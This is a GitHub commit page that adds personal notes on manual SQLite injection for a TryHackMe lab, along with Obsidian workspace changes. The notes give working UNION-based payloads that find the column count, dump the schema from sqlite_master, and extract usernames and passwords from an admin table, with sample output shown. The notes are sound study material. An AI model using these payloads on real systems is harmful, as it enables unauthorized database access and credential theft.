Skip to content

Commit 2c322c9

Browse files
committed
sql light manual injection notes added
1 parent dd39047 commit 2c322c9

File tree

3 files changed

+54
-5
lines changed

3 files changed

+54
-5
lines changed

.obsidian/workspace.json

Lines changed: 7 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -55,12 +55,12 @@
5555
"state": {
5656
"type": "markdown",
5757
"state": {
58-
"file": "Linux/Useful thing to look for.md",
58+
"file": "SQL_Injection/DVWA_Easy_Manualy_Dump.md",
5959
"mode": "source",
6060
"source": false
6161
},
6262
"icon": "lucide-file",
63-
"title": "Useful thing to look for"
63+
"title": "DVWA_Easy_Manualy_Dump"
6464
}
6565
},
6666
{
@@ -233,15 +233,18 @@
233233
},
234234
"active": "bf9871c3a709dfe0",
235235
"lastOpenFiles": [
236-
"SSTI.md",
236+
"SQL_Injection/SQL Light Injection.md",
237+
"SQL_Injection/Images/SQL_LIGHT_SELECT.png",
238+
"Rev_Shell.md",
239+
"SQL_Injection/DVWA_Easy_Manualy_Dump.md",
237240
"Linux/Useful thing to look for.md",
241+
"SSTI.md",
238242
"Linux",
239243
"FUZZING.md",
240244
"README.md",
241245
"Privesc/Privesc.md",
242246
"ShellStabilize.md",
243247
"SQL_Injection/Images/DVWA_MEDIUM_DATA_DUMP.png",
244-
"SQL_Injection/DVWA_Easy_Manualy_Dump.md",
245248
"Privesc/Images/rubyCapChown.png",
246249
"Privesc/Images/ansiblePrivesc02.png",
247250
"Privesc/Images/ttypushback01.png",
@@ -263,7 +266,6 @@
263266
"SQL_Injection/README.md",
264267
"SQL_Injection/DVWA_Medium_Manualy_Dump.md",
265268
"SQL_Injection/Images/DVWA_MEDIUM_TABLE_COLUMN_NAME.png",
266-
"SQL_Injection/Images/DVWA_MEDIUM_COLUMN_NAME.png",
267269
"DockerBasics/Docker basics.md",
268270
"PrototypePollution/Prototype Population.md",
269271
"Crasking.md",
14.2 KB
Loading

SQL_Injection/SQL Light Injection.md

Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
Ref:-
2+
1. https://tryhackme.com/r/room/lightroom
3+
2. https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md
4+
### Union operation
5+
6+
```sql
7+
Please enter your username: admin
8+
Username not found.
9+
Please enter your username: admin' UnIoN SeLeCt 1'
10+
Password: 1
11+
Please enter your username: admin' UnIoN SeLeCt 1,2'
12+
Error: SELECTs to the left and right of UNION do not have the same number of result columns
13+
```
14+
15+
### Extract Database Structure
16+
17+
```sql
18+
a' UnIoN SeLeCt group_concat(sql) from sqlite_master'
19+
```
20+
21+
or
22+
23+
```sql
24+
a' UnIoN SeLeCt group_concat(sql) from sqlite_schema'
25+
```
26+
27+
output :-
28+
```
29+
Password: CREATE TABLE usertable (
30+
id INTEGER PRIMARY KEY,
31+
username TEXT,
32+
password INTEGER
33+
),
34+
CREATE TABLE admintable (
35+
id INTEGER PRIMARY KEY,
36+
username TEXT,
37+
password INTEGER
38+
)
39+
```
40+
41+
### Extract DB info
42+
43+
```sql
44+
a' UnIoN SeLeCt GROUP_CONCAT('|' || username || ':' || password || '|') FROM admintable'
45+
```
46+
47+
![SQL_LIGHT_SELECT.png](Images/SQL_LIGHT_SELECT.png)

0 commit comments

Comments
 (0)